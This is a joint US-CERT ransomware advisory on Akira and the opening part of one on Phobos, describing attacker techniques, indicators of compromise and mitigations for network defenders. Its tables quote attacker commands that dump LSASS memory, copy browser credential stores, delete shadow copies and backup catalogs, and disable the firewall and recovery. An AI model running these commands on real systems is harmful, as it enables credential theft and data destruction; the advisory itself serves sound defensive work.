US-CERT Security Alerts

SUMMARY

Note: This joint Cybersecurity Advisory (CSA) is part of an ongoing #StopRansomware effort to publish advisories for network defenders that detail various ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit stopransomware.gov to see all #StopRansomware advisories and to learn more about other ransomware threats and no-cost resources.

The United States’ Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), Europol’s European Cybercrime Centre (EC3), and the Netherlands’ National Cyber Security Centre (NCSC-NL) are releasing this joint CSA to disseminate known Akira ransomware IOCs and TTPs identified through FBI investigations and trusted third party reporting as recently as February 2024.

Since March 2023, Akira ransomware has impacted a wide range of businesses and critical infrastructure entities in North America, Europe, and Australia. In April 2023, following an initial focus on Windows systems, Akira threat actors deployed a Linux variant targeting VMware ESXi virtual machines. As of January 1, 2024, the ransomware group has impacted over 250 organizations and claimed approximately $42 million (USD) in ransomware proceeds.

Early versions of the Akira ransomware variant were written in C++ and encrypted files with a .akira extension; however, beginning in August 2023, some Akira attacks began deploying Megazord, using Rust-based code which encrypts files with a .powerranges extension.  Akira threat actors have continued to use both Megazord and Akira, including Akira_v2 (identified by trusted third party investigations) interchangeably.

The FBI, CISA, EC3, and NCSC-NL encourage organizations to implement the recommendations in the Mitigations section of this CSA to reduce the likelihood and impact of ransomware incidents.

Download the PDF version of this report:

AA24-109A #StopRansomware: Akira Ransomware (PDF, 591.05 KB )

For a downloadable copy of IOCs, see:

AA24-109A STIX XML (XML, 114.01 KB ) AA24-109A STIX JSON (JSON, 67.80 KB ) TECHNICAL DETAILS

Note: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 14. See MITRE ATT&CK for Enterprise for all referenced tactics and techniques.

Initial Access

The FBI and cybersecurity researchers have observed Akira threat actors obtaining initial access to organizations through a virtual private network (VPN) service without multifactor authentication (MFA) configured[1], mostly using known Cisco vulnerabilities [T1190] CVE-2020-3259 and CVE-2023-20269.[2],[3],[4] Additional methods of initial access include the use of external-facing services such as Remote Desktop Protocol (RDP) [T1133], spear phishing [T1566.001][T1566.002], and the abuse of valid credentials[T1078].[4]

Persistence and Discovery

Once initial access is obtained, Akira threat actors attempt to abuse the functions of domain controllers by creating new domain accounts [T1136.002] to establish persistence. In some instances, the FBI identified Akira threat actors creating an administrative account named itadm.

According to FBI and open source reporting, Akira threat actors leverage post-exploitation attack techniques, such as Kerberoasting[5], to extract credentials stored in the process memory of the Local Security Authority Subsystem Service (LSASS) [T1003.001].[6] Akira threat actors also use credential scraping tools [T1003] like Mimikatz and LaZagne to aid in privilege escalation. Tools like SoftPerfect and Advanced IP Scanner are often used for network device discovery (reconnaissance) purposes [T1016] and net Windows commands are used to identify domain controllers [T1018] and gather information on domain trust relationships [T1482].

See Table 1 for a descriptive listing of these tools.

Defense Evasion

Based on trusted third party investigations, Akira threat actors have been observed deploying two distinct ransomware variants against different system architectures within the same compromise event. This marks a shift from recently reported Akira ransomware activity. Akira threat actors were first observed deploying the Windows-specific “Megazord” ransomware, with further analysis revealing that a second payload was concurrently deployed in this attack (which was later identified as a novel variant of the Akira ESXi encryptor, “Akira_v2”).

As Akira threat actors prepare for lateral movement, they commonly disable security software to avoid detection. Cybersecurity researchers have observed Akira threat actors using PowerTool to exploit the Zemana AntiMalware driver[4] and terminate antivirus-related processes [T1562.001].

Exfiltration and Impact

Akira threat actors leverage tools such as FileZilla, WinRAR [T1560.001], WinSCP, and RClone to exfiltrate data [T1048]. To establish command and control channels, threat actors leverage readily available tools like AnyDesk, MobaXterm, RustDesk, Ngrok, and Cloudflare Tunnel, enabling exfiltration through various protocols such as File Transfer Protocol (FTP), Secure File Transfer Protocol (SFTP), and cloud storage services like Mega [T1537] to connect to exfiltration servers.

Akira threat actors use a double-extortion model [T1657] and encrypt systems [T1486] after exfiltrating data. The Akira ransom note provides each company with a unique code and instructions to contact the threat actors via a .onion URL. Akira threat actors do not leave an initial ransom demand or payment instructions on compromised networks, and do not relay this information until contacted by the victim. Ransom payments are paid in Bitcoin to cryptocurrency wallet addresses provided by the threat actors. To further apply pressure, Akira threat actors threaten to publish exfiltrated data on the Tor network, and in some instances have called victimized companies, according to FBI reporting.

Encryption

Akira threat actors utilize a sophisticated hybrid encryption scheme to lock data. This involves combining a ChaCha20 stream cipher with an RSA public-key cryptosystem for speed and secure key exchange [T1486]. This multilayered approach tailors encryption methods based on file type and size and is capable of full or partial encryption. Encrypted files are appended with either a .akira or .powerranges extension. To further inhibit system recovery, Akira’s encryptor (w.exe) utilizes PowerShell commands to delete volume shadow copies (VSS) on Windows systems [T1490]. Additionally, a ransom note named fn.txt appears in both the root directory (C:) and each users’ home directory (C:\Users).

Trusted third party analysis identified that the Akira_v2 encryptor is an upgrade from its previous version, which includes additional functionalities due to the language it’s written in (Rust). Previous versions of the encryptor provided options to insert arguments at runtime, including:

• -p --encryption_path (targeted file/folder paths)
• -s --share_file (targeted network drive path)
• -n --encryption_percent (percentage of encryption)
• --fork (create a child process for encryption

The ability to insert additional threads allows Akira threat actors to have more granular control over the number of CPU cores in use, increasing the speed and efficiency of the encryption process. The new version also adds a layer of protection, utilizing the Build ID as a run condition to hinder dynamic analysis. The encryptor is unable to execute successfully without the unique Build ID. The ability to deploy against only virtual machines using “vmonly” and the ability to stop running virtual machines with “stopvm” functionalities have also been observed implemented for Akira_v2. After encryption, the Linux ESXi variant may include the file extension “akiranew” or add a ransom note named “akiranew.txt” in directories where files were encrypted with the new nomenclature.

Leveraged Tools

Table 1 lists publicly available tools and applications Akira threat actors have used, including legitimate tools repurposed for their operations. Use of these tools and applications should not be attributed as malicious without analytical evidence to support threat actor use and/or control.

Table 1: Tools Leveraged by Akira Ransomware Actors Name Description AdFind AdFind.exe is used to query and retrieve information from Active Directory. Advanced IP Scanner A network scanner is used to locate all the computers on a network and conduct a scan of their ports. The program shows all network devices, gives access to shared folders, and provides remote control of computers (via RDP and Radmin). AnyDesk A common software that can be maliciously used by threat actors to obtain remote access and maintain persistence [T1219]. AnyDesk also supports remote file transfer. LaZagne Allows users to recover stored passwords on Windows, Linux, and OSX systems. PCHunter64 A tool used to acquire detailed process and system information [T1082].[7] PowerShell A cross-platform task automation solution made up of a command line shell, a scripting language, and a configuration management framework, which runs on Windows, Linux, and macOS. Mimikatz Allows users to view and save authentication credentials such as Kerberos tickets. Ngrok A reverse proxy tool [T1090] used to create a secure tunnel to servers behind firewalls or local machines without a public IP address. RClone A command line program used to sync files with cloud storage services [T1567.002] such as Mega. SoftPerfect A network scanner (netscan.exe) used to ping computers, scan ports, discover shared folders, and retrieve information about network devices via Windows Management Instrumentation (WMI), Simple Network Management Protocol (SNMP), HTTP, Secure Shell (SSH) and PowerShell. It also scans for remote services, registry, files, and performance counters. WinRAR Used to split compromised data into segments and to compress [T1560.001] files into .RAR format for exfiltration. WinSCP Windows Secure Copy is a free and open source SSH File Transfer Protocol, File Transfer Protocol, WebDAV, Amazon S3, and secure copy protocol client. Akira threat actors have used it to transfer data [T1048] from a compromised network to actor-controlled accounts. Indicators of Compromise

Disclaimer: Investigation or vetting of these indicators is recommended prior to taking action, such as blocking.

Table 2a: Malicious Files Affiliated with Akira Ransomware File Name Hash (SHA-256) Description w.exe d2fd0654710c27dcf37b6c1437880020824e161dd0bf28e3a133ed777242a0ca Akira ransomware Win.exe dcfa2800754e5722acf94987bb03e814edcb9acebda37df6da1987bf48e5b05e Akira ransomware encryptor AnyDesk.exe bc747e3bf7b6e02c09f3d18bdd0e64eef62b940b2f16c9c72e647eec85cf0138 Remote desktop application Gcapi.dll 73170761d6776c0debacfbbc61b6988cb8270a20174bf5c049768a264bb8ffaf DLL file that assists with the execution of AnyDesk.exe Sysmon.exe 1b60097bf1ccb15a952e5bcc3522cf5c162da68c381a76abc2d5985659e4d386 Ngrok tool for persistence Config.yml Varies by use Ngrok configuration file Rclone.exe aaa647327ba5b855bedea8e889b3fafdc05a6ca75d1cfd98869432006d6fecc9 Exfiltration tool Winscp.rnd 7d6959bb7a9482e1caa83b16ee01103d982d47c70c72fdd03708e2b7f4c552c4 Network file transfer program WinSCP-6.1.2-Setup.exe 36cc31f0ab65b745f25c7e785df9e72d1c8919d35a1d7bd4ce8050c8c068b13c Network file transfer program Akira_v2

3298d203c2acb68c474e5fdad8379181890b4403d6491c523c13730129be3f75

0ee1d284ed663073872012c7bde7fac5ca1121403f1a5d2d5411317df282796c

Akira_v2 ransomware Megazord

ffd9f58e5fe8502249c67cad0123ceeeaa6e9f69b4ec9f9e21511809849eb8fc

dfe6fddc67bdc93b9947430b966da2877fda094edf3e21e6f0ba98a84bc53198

131da83b521f610819141d5c740313ce46578374abb22ef504a7593955a65f07

9f393516edf6b8e011df6ee991758480c5b99a0efbfd68347786061f0e04426c

9585af44c3ff8fd921c713680b0c2b3bbc9d56add848ed62164f7c9b9f23d065

2f629395fdfa11e713ea8bf11d40f6f240acf2f5fcf9a2ac50b6f7fbc7521c83

7f731cc11f8e4d249142e99a44b9da7a48505ce32c4ee4881041beeddb3760be

95477703e789e6182096a09bc98853e0a70b680a4f19fa2bf86cbb9280e8ec5a

0c0e0f9b09b80d87ebc88e2870907b6cacb4cd7703584baf8f2be1fd9438696d

C9c94ac5e1991a7db42c7973e328fceeb6f163d9f644031bdfd4123c7b3898b0

Akira “Megazord” ransomware VeeamHax.exe aaa6041912a6ba3cf167ecdb90a434a62feaf08639c59705847706b9f492015d Plaintext credential leaking tool Veeam-Get-Creds.ps1 18051333e658c4816ff3576a2e9d97fe2a1196ac0ea5ed9ba386c46defafdb88 PowerShell script for obtaining and decrypting accounts from Veeam servers PowershellKerberos TicketDumper 5e1e3bf6999126ae4aa52146280fdb913912632e8bac4f54e98c58821a307d32 Kerberos ticket dumping tool from LSA cache sshd.exe 8317ff6416af8ab6eb35df3529689671a700fdb61a5e6436f4d6ea8ee002d694 OpenSSH Backdoor ipscan-3.9.1-setup.exe 892405573aa34dfc49b37e4c35b655543e88ec1c5e8ffb27ab8d1bbf90fc6ae0 Network scanner that scans IP addresses and ports Table 2b: Malicious Files Affiliated with Akira Ransomware File Name Hash (MD5) Description winrar-x64-623.exe 7a647af3c112ad805296a22b2a276e7c Network file transfer program

Disclaimer: While the date/time can be changed by Akira threat actors, trusted third-party analysis confirmed these samples were created on December 28, 2023.

Table 3: Windows Akira Ransomware Samples Hash (SHA-256) 0b5b31af5956158bfbd14f6cbf4f1bca23c5d16a40dbf3758f3289146c565f43 0d700ca5f6cc093de4abba9410480ee7a8870d5e8fe86c9ce103eec3872f225f a2df5477cf924bd41241a3326060cc2f913aff2379858b148ddec455e4da67bc 03aa12ac2884251aa24bf0ccd854047de403591a8537e6aba19e822807e06a45 2e88e55cc8ee364bf90e7a51671366efb3dac3e9468005b044164ba0f1624422 40221e1c2e0c09bc6104548ee847b6ec790413d6ece06ad675fff87e5b8dc1d5 5ea65e2bb9d245913ad69ce90e3bd9647eb16d992301145372565486c77568a2 643061ac0b51f8c77f2ed202dc91afb9879f796ddd974489209d45f84f644562 6f9d50bab16b2532f4683eeb76bd25449d83bdd6c85bf0b05f716a4b49584f84 fef09b0aa37cbdb6a8f60a6bd8b473a7e5bffdc7fd2e952444f781574abccf64 Table 4: Linux/Unix Akira Ransomware Executable and Linkable Format (ELF) Samples Hash (SHA-256) e1321a4b2b104f31aceaf4b19c5559e40ba35b73a754d3ae13d8e90c53146c0f 74f497088b49b745e6377b32ed5d9dfaef3c84c7c0bb50fabf30363ad2e0bfb1 3d2b58ef6df743ce58669d7387ff94740ceb0122c4fc1c4ffd81af00e72e60a4 Table 5a: Commands Affiliated with Akira Ransomware Persistence and Discovery nltest /dclist: [T1018] nltest /DOMAIN_TRUSTS [T1482] net group “Domain admins” /dom [T1069.002] net localgroup “Administrators” /dom [T1069.001] tasklist [T1057] rundll32.exe c:\Windows\System32\comsvcs.dll, MiniDump ((Get-Process lsass).Id) C:\windows\temp\lsass.dmp full [T1003.001] Table 5b: Commands Affiliated with Akira Ransomware Credential Access

cmd.exe /Q /c esentutl.exe /y

"C:\Users\<username>\AppData\Roaming\Mozilla\Firefox\Profiles\<firefox_profile_id>.default-release\key4.db" /d

"C:\Users\<username>\AppData\Roaming\Mozilla\Firefox\Profiles\<firefox_profile_id>.default-release\key4.db.tmp”

Note: Used for accessing Firefox data.

cmd.exe /Q /c esentutl.exe /y

"C:\Users\<username>\AppData\Local\Google\Chrome\User Data\Default\Login Data" /d

"C:\Users\<username>\AppData\Local\Google\Chrome\User Data\Default\Login Data.tmp”

Note: Used for accessing Google Chrome data.

Table 5c: Commands Affiliated with Akira Ransomware Impact powershell.exe -Command "Get-WmiObject Win32_Shadowcopy | Remove-WmiObject" [T1490] MITRE ATT&CK TACTICS AND TECHNIQUES

See Tables 6 -14 for all referenced Akira threat actor tactics and techniques for enterprise environments in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.

Table 6: Initial Access Technique Title ID Use Valid Accounts T1078 Akira threat actors obtain and abuse credentials of existing accounts as a means of gaining initial access. Exploit Public Facing Application T1190 Akira threat actors exploit vulnerabilities in internet-facing systems to gain access to systems. External Remote Services T1133 Akira threat actors have used remote access services, such as RDP/VPN connection to gain initial access. Phishing: Spearphishing Attachment  T1566.001 Akira threat actors use phishing emails with malicious attachments to gain access to networks. Phishing: Spearphishing Link  T1566.002 Akira threat actors use phishing emails with malicious links to gain access to networks.  Table 7: Credential Access Technique Title ID Use OS Credential Dumping T1003 Akira threat actors use tools like Mimikatz and LaZagne to dump credentials.

OS Credential Dumping:

LSASS Memory

T1003.001 Akira threat actors attempt to access credential material stored in the process memory of the LSASS. Table 8: Discovery Technique Title ID Use System Network Configuration Discovery  T1016 Akira threat actors use tools to scan systems and identify services running on remote hosts and local network infrastructure. System Information Discovery T1082 Akira threat actors use tools like PCHunter64 to acquire detailed process and system information. Domain Trust Discovery T1482 Akira threat actors use the net Windows command to enumerate domain information. Process Discovery T1057 Akira threat actors use the Tasklist utility to obtain details on running processes via PowerShell. Permission Groups Discovery: Local Groups T1069.001 Akira threat actors use the net localgroup /dom to find local system groups and permission settings. Permission Groups Discovery: Domain Groups  T1069.002 Akira threat actors use the net group /domain command to attempt to find domain level groups and permission settings. Remote System Discovery T1018 Akira threat actors use nltest / dclist to amass a listing of other systems by IP address, hostname, or other logical identifiers on a network. Table 9: Persistence Technique Title ID Use Create Account: Domain Account T1136.002 Akira threat actors attempt to abuse the functions of domain controllers by creating new domain accounts to establish persistence. Table 10: Defense Evasion Technique Title ID Use Impair Defenses: Disable or Modify Tools T1562.001 Akira threat actors use BYOVD attacks to disable antivirus software. Table 11: Command and Control Technique Title ID Use Remote Access Software T1219 Akira threat actors use legitimate desktop support software like AnyDesk to obtain remote access to victim systems. Proxy T1090 Akira threat actors utilized Ngrok to create a secure tunnel to servers that aided in exfiltration of data.  Table 12: Collection Technique Title ID Use Archive Collected Data: Archive via Utility T1560.001 Akira threat actors use tools like WinRAR to compress files. Table 13: Exfiltration Technique Title ID Use Exfiltration Over Alternative Protocol T1048 Akira threat actors use file transfer tools like WinSCP to transfer data. Transfer Data to Cloud Account T1537 Akira threat actors use tools like CloudZilla to exfiltrate data to a cloud account and connect to exfil servers they control. Exfiltration Over Web Service: Exfiltration to Cloud Storage T1567.002 Akira threat actors leveraged RClone to sync files with cloud storage services to exfiltrate data.  Table 14: Impact Technique Title ID Use Date Encrypted for Impact T1486 Akira threat actors encrypt data on target systems to interrupt availability to system and network resources. Inhibit System Recovery T1490 Akira threat actors delete volume shadow copies on Windows systems. Financial Theft T1657 Akira threat actors use a double-extortion model for financial gain. MITIGATIONS Network Defenders

The FBI, CISA, EC3, and NCSC-NL recommend organizations apply the following mitigations to limit potential adversarial use of common system and network discovery techniques, and to reduce the risk of compromise by Akira ransomware. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats and TTPs. Visit CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections.

• Implement a recovery plan to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, and secure location (e.g., hard drive, storage device, the cloud) [CPG 2.F, 2.R, 2.S].
• Require all accounts with password logins (e.g., service accounts, admin accounts, and domain admin accounts) to comply with NIST’s standards. In particular, require employees to use long passwords and consider not requiring recurring password changes, as these can weaken security [CPG 2.C].
• Require multifactor authentication for all services to the extent possible, particularly for webmail, virtual private networks, and accounts that access critical systems [CPG 2.H].
• Keep all operating systems, software, and firmware up to date. Timely patching is one of the most efficient and cost effective steps an organization can take to minimize its exposure to cybersecurity threats. Prioritize patching known exploited vulnerabilities in internet-facing systems. [CPG 1.E].
• Segment networks to prevent the spread of ransomware. Network segmentation can help prevent the spread of ransomware by controlling traffic flows between—and access to—various subnetworks and by restricting adversary lateral movement [CPG 2.F].
• Identify, detect, and investigate abnormal activity and potential traversal of the indicated ransomware with a networking monitoring tool. To aid in detecting the ransomware, implement a tool that logs and reports all network traffic, including lateral movement activity on a network. Endpoint detection and response (EDR) tools are particularly useful for detecting lateral connections as they have insight into common and uncommon network connections for each host [CPG 3.A].
• Filter network traffic by preventing unknown or untrusted origins from accessing remote services on internal systems. This prevents threat actors from directly connecting to remote access services that they have established for persistence.
• Install, regularly update, and enable real time detection for antivirus software on all hosts.
• Review domain controllers, servers, workstations, and active directories for new and/or unrecognized accounts [CPG 1.A, 2.O].
• Audit user accounts with administrative privileges and configure access controls according to the principle of least privilege [CPG 2.E].
• Disable unused ports [CPG 2.V].
• Consider adding an email banner to emails received from outside of your organization [CPG 2.M].
• Disable hyperlinks in received emails.
• Implement time-based access for accounts set at the admin level and higher. For example, the Just-in-Time (JIT) access method provisions privileged access when needed and can support enforcement of the principle of least privilege (as well as the Zero Trust model). This is a process where a network-wide policy is set in place to automatically disable admin accounts at the Active Directory level when the account is not in direct need. Individual users may submit their requests through an automated process that grants them access to a specified system for a set timeframe when they need to support the completion of a certain task.
• Disable command-line and scripting activities and permissions. Privilege escalation and lateral movement often depend on software utilities running from the command line. If threat actors are not able to run these tools, they will have difficulty escalating privileges and/or moving laterally [CPG 2.E, 2.N].
• Maintain offline backups of data, and regularly maintain backup and restoration [CPG 2.R]. By instituting this practice, the organization helps ensure they will not be severely interrupted, and/or only have irretrievable data. 
• Ensure all backup data is encrypted, immutable (i.e., cannot be altered or deleted), and covers the entire organization’s data infrastructure [CPG 2.K, 2.L, 2.R].

VALIDATE SECURITY CONTROLS

In addition to applying mitigations, the FBI, CISA, EC3, and NCSC-NL recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. The FBI, CISA, EC3 and NCSC-NL recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.

To get started:

1. Select an ATT&CK technique described in this advisory (see Tables 6 -14).
2. Align your security technologies against the technique.
3. Test your technologies against the technique.
4. Analyze your detection and prevention technologies’ performance.
5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

The FBI, CISA, EC3, and NCSC-NL recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

RESOURCES

• Stopransomware.gov is a whole-of-government approach that gives one central location for ransomware resources and alerts.
• Resource to mitigate a ransomware attack: #StopRansomware Guide.
• No cost cyber hygiene services: Cyber Hygiene Services, Ransomware Readiness Assessment.

REFERENCES

1. Fortinet: Ransomware Roundup - Akira
2. Cisco: Akira Ransomware Targeting VPNs without MFA
3. Truesec: Indications of Akira Ransomware Group Actively Exploiting Cisco AnyConnect CVE-2020-3259
4. TrendMicro: Akira Ransomware Spotlight
5. CrowdStrike: What is a Kerberoasting Attack?
6. Sophos: Akira, again: The ransomware that keeps on taking
7. Sophos: Akira Ransomware is “bringin’ 1988 back”

REPORTING

Your organization has no obligation to respond or provide information back to the FBI in response to this joint CSA. If, after reviewing the information provided, your organization decides to provide information to the FBI, reporting must be consistent with applicable state and federal laws.

The FBI is interested in any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, a sample ransom note, communications with Akira threat actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file.

Additional details of interest include: a targeted company point of contact, status and scope of infection, estimated loss, operational impact, transaction IDs, date of infection, date detected, initial attack vector, and host- and network-based indicators.

The FBI, CISA, EC3, and NCSC-NL do not encourage paying ransom as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, the FBI and CISA urge you to promptly report ransomware incidents to the FBI’s Internet Crime Complain Center (IC3), a local FBI Field Office, or CISA via the agency’s Incident Reporting System or its 24/7 Operations Center (report@cisa.gov or (888) 282-0870).

DISCLAIMER

The information in this report is being provided “as is” for informational purposes only. The FBI, CISA, EC3, and NCSC-NL do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by the FBI or CISA.

ACKNOWLEDGEMENTS

Cisco, Sophos, and Fortinet contributed to this advisory.

VERSION HISTORY

April 18, 2024: Initial version.

SUMMARY

Note: This joint Cybersecurity Advisory (CSA) is part of an ongoing #StopRansomware effort to publish advisories for network defenders that detail various ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit stopransomware.gov to see all #StopRansomware advisories and to learn more about other ransomware threats and no-cost resources.

The Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), and the Multi-State Information Sharing and Analysis Center (MS-ISAC) are releasing this joint CSA, to disseminate known TTPs and IOCs associated with the Phobos ransomware variants observed as recently as February 2024, according to open source reporting. Phobos is structured as a ransomware-as-a-service (RaaS) model. Since May 2019, Phobos ransomware incidents impacting state, local, tribal, and territorial (SLTT) governments have been regularly reported to the MS-ISAC. These incidents targeted municipal and county governments, emergency services, education, public healthcare, and other critical infrastructure entities to successfully ransom several million U.S. dollars.[1],[2]

The FBI, CISA, and the MS-ISAC encourage organizations to implement the recommendations in the Mitigations section of this CSA to reduce the likelihood and impact of Phobos ransomware and other ransomware incidents.

Download the PDF version of this report:

AA24-060A #StopRansomware: Phobos Ransomware (PDF, 678.84 KB )

For a downloadable copy of indicators of compromise (IOCs), see:

AA24-060A STIX XML (XML, 147.73 KB ) AA24-060A STIX JSON (JSON, 119.53 KB ) TECHNICAL DETAILS

Note: This advisory uses the MITRE ATT&CK for Enterprise framework, version 14. See the MITRE ATT&CK Tactics and Techniques section for a table of the threat actors’ activity mapped to MITRE ATT&CK® tactics and techniques. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.

Overview

According to open source reporting, Phobos ransomware is likely connected to numerous variants (including Elking, Eight, Devos, Backmydata, and Faust ransomware) due to similar TTPs observed in Phobos intrusions. Phobos ransomware operates in conjunction with various open source tools such as Smokeloader, Cobalt Strike, and Bloodhound. These tools are all widely accessible and easy to use in various operating environments, making it (and associated variants) a popular choice for many threat actors.[3],[4]

Reconnaissance and Initial Access

Phobos actors typically gain initial access to vulnerable networks by leveraging phishing campaigns [T1598] to drop hidden payloads or using internet protocol (IP) scanning tools, such as Angry IP Scanner, to search for vulnerable Remote Desktop Protocol (RDP) ports [T1595.001] or by leveraging RDP on Microsoft Windows environments.[5],[6]

Once they discover an exposed RDP service, the actors use open source brute force tools to gain access [T1110]. If Phobos actors gain successful RDP authentication [T1133][T1078] in the targeted environment, they perform open source research to create a victim profile and connect the targeted IP addresses to their associated companies [T1593]. Threat actors leveraging Phobos have notably deployed remote access tools to establish a remote connection within the compromised network [T1219].[7]

Alternatively, threat actors send spoofed email attachments [T1566.001] that are embedded with hidden payloads [T1204.002] such as SmokeLoader, a backdoor trojan that is often used in conjunction with Phobos. After SmokeLoader’s hidden payload is downloaded onto the victim’s system, threat actors use the malware’s functionality to download the Phobos payload and exfiltrate data from the compromised system.

Execution and Privilege Escalation

Phobos actors run executables like 1saas.exe or cmd.exe to deploy additional Phobos payloads that have elevated privileges enabled [TA0004]. Additionally, Phobos actors can use the previous commands to perform various windows shell functions. The Windows command shell enables threat actors to control various aspects of a system, with multiple permission levels required for different subsets of commands [T1059.003][T1105].[8]

Smokeloader Deployment

Phobos operations feature a standard three phase process to decrypt a payload that allows the threat actors to deploy additional destructive malware.[9]

For the first phase, Smokeloader manipulates either VirtualAlloc or VirtualProtect API functions—which opens an entry point, enabling code to be injected into running processes and allowing the malware to evade network defense tools [T1055.002]. In the second phase, a stealth process is used to obfuscate command and control (C2) activity by producing requests to legitimate websites [T1001.003].[10]

Within this phase, the shellcode also sends a call from the entry point to a memory container [T1055.004] and prepares a portable executable for deployment in the final stage [T1027.002][T1105][T1140].

Finally, once Smokeloader reaches its third stage, it unpacks a program-erase cycle from stored memory, which is then sent to be extracted from a SHA 256 hash as a payload.[7] Following successful payload decryption, the threat actors can begin downloading additional malware.

Additional Phobos Defense Evasion Capabilities

Phobos ransomware actors have been observed bypassing organizational network defense protocols by modifying system firewall configurations using commands like netsh firewall set opmode mode=disable [T1562.004]. Additionally, Phobos actors can evade detection by using the following tools: Universal Virus Sniffer, Process Hacker, and PowerTool [T1562].

Persistence and Privilege Escalation

According to open source reporting, Phobos ransomware uses commands such as Exec.exe or the bcdedit[.]exe control mechanism. Phobos has also been observed using Windows Startup folders and Run Registry Keys such as C:/Users\Admin\AppData\Local\directory [T1490][T1547.001] to maintain persistence within compromised environments.[5]

Additionally, Phobos actors have been observed using built-in Windows API functions [T1106] to steal tokens [T1134.001], bypass access controls, and create new processes to escalate privileges by leveraging the SeDebugPrivilege process [T1134.002]. Phobos actors attempt to authenticate using cached password hashes on victim machines until they reach domain administrator access [T1003.005].

Discovery and Credential Access

Phobos actors additionally use open source tools [T1588.002] such as Bloodhound and Sharphound to enumerate the active directory [T1087.002]. Mimikatz and NirSoft, as well as Remote Desktop Passview to export browser client credentials [T1003.001][T1555.003], have also been used. Furthermore, Phobos ransomware is able to enumerate connected storage devices [T1082], running processes [T1057], and encrypt user files [T1083].

Exfiltration

Phobos actors have been observed using WinSCP and Mega.io for file exfiltration.[11] They use WinSCP to connect directly from a victim network to an FTP server [T1071.002] they control [TA0010]. Phobos actors install Mega.io [T1048] and use it to export victim files directly to a cloud storage provider [T1567.002]. Data is typically archived as either a .rar or .zip file [T1560] to be later exfiltrated. They target legal documentation, financial records, technical documents (including network architecture), and databases for commonly used password management software [T1555.005].

Impact

After the exfiltration phase, Phobos actors then hunt for backups. They use vssadmin.exe and Windows Management Instrumentation command-line utility (WMIC) to discover and delete volume shadow copies in Windows environments. This prevents victims from recovering files after encryption has taken place [T1047][T1490].

Phobos.exe contains functionality to encrypt all connected logical drives on the target host [T1486]. Each Phobos ransomware executable has unique build identifiers (IDs), affiliate IDs, as well as a unique ransom note which is embedded in the executable. After the ransom note has populated on infected workstations, Phobos ransomware continues to search for and encrypt additional files.

Most extortion [T1657] occurs via email; however, some affiliate groups have used voice calls to contact victims. In some cases, Phobos actors have used onion sites to list victims and host stolen victim data. Phobos actors use various instant messaging applications such as ICQ, Jabber, and QQ to communicate [T1585]. See Figure 2 for a list of email providers used by the following Phobos affiliates: Devos, Eight, Elbie, Eking, and Faust.[6]

Figure 1: Phobos Affiliate Providers List INDICATORS OF COMPROMISE (IOCs)

See Table 1 through 6 for IOCs obtained from CISA and the FBI investigations from September through November 2023.

Table 1: Associated Phobos Domains Associated Phobos Domains

adstat477d[.]xyz

demstat577d[.]xyz [12]

serverxlogs21[.]xyz

Table 2: Observed Phobos Shell Commands Shell Commands

vssadmin delete shadows /all /quiet [T1490]

netsh advfirewall set currentprofile state off

wmic shadowcopy delete

netsh firewall set opmode mode=disable [T1562.004]

bcdedit /set {default} bootstatuspolicy ignoreallfailures [T1547.001]

bcdedit /set {default} recoveryenabled no [T1490]

wbadmin delete catalog -quiet

mshta C:\%USERPROFILE%\Desktop\info.hta [T1218.005]

mshta C:\%PUBLIC%\Desktop\info.hta

mshta C:\info.hta

The commands above are observed during the execution of a Phobos encryption executable. A Phobos encryption executable spawns a cmd.exe process, which then executes the commands listed in Table 1 with their respective Windows system executables. When the commands above are executed on a Windows system, volume shadow copies are deleted and Windows Firewall is disabled. Additionally, the system’s boot status policy is set to boot even when there are errors during the boot process, and automatic recovery options, like Windows Recovery Environment (WinRE), are disabled for the given boot entry. The system’s backup catalog is also deleted. Finally, the Phobos ransom note is displayed to the end user using mshta.exe.

Table 3: Observed Phobos Registry Keys Registry Keys

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\<Phobos exe name>

C:/Users\Admin\AppData\Local\directory

Table 4: Observed Phobos Actor Email Addresses Email Addresses  

AlbetPattisson1981@protonmail[.]com

henryk@onionmail[.]org

atomicday@tuta[.]io

info@fobos[.]one

axdus@tuta[.]io

it.issues.solving@outlook[.]com

barenuckles@tutanota[.]com

JohnWilliams1887@gmx[.]com

Bernard.bunyan@aol[.]com

jonson_eight@gmx[.]us

bill.g@gmx[.]com

joshuabernandead@gmx[.]com

bill.g@msgsafe[.]io

LettoIntago@onionmail[.]com

bill.g@onionmail[.]org

Luiza.li@tutanota[.]com

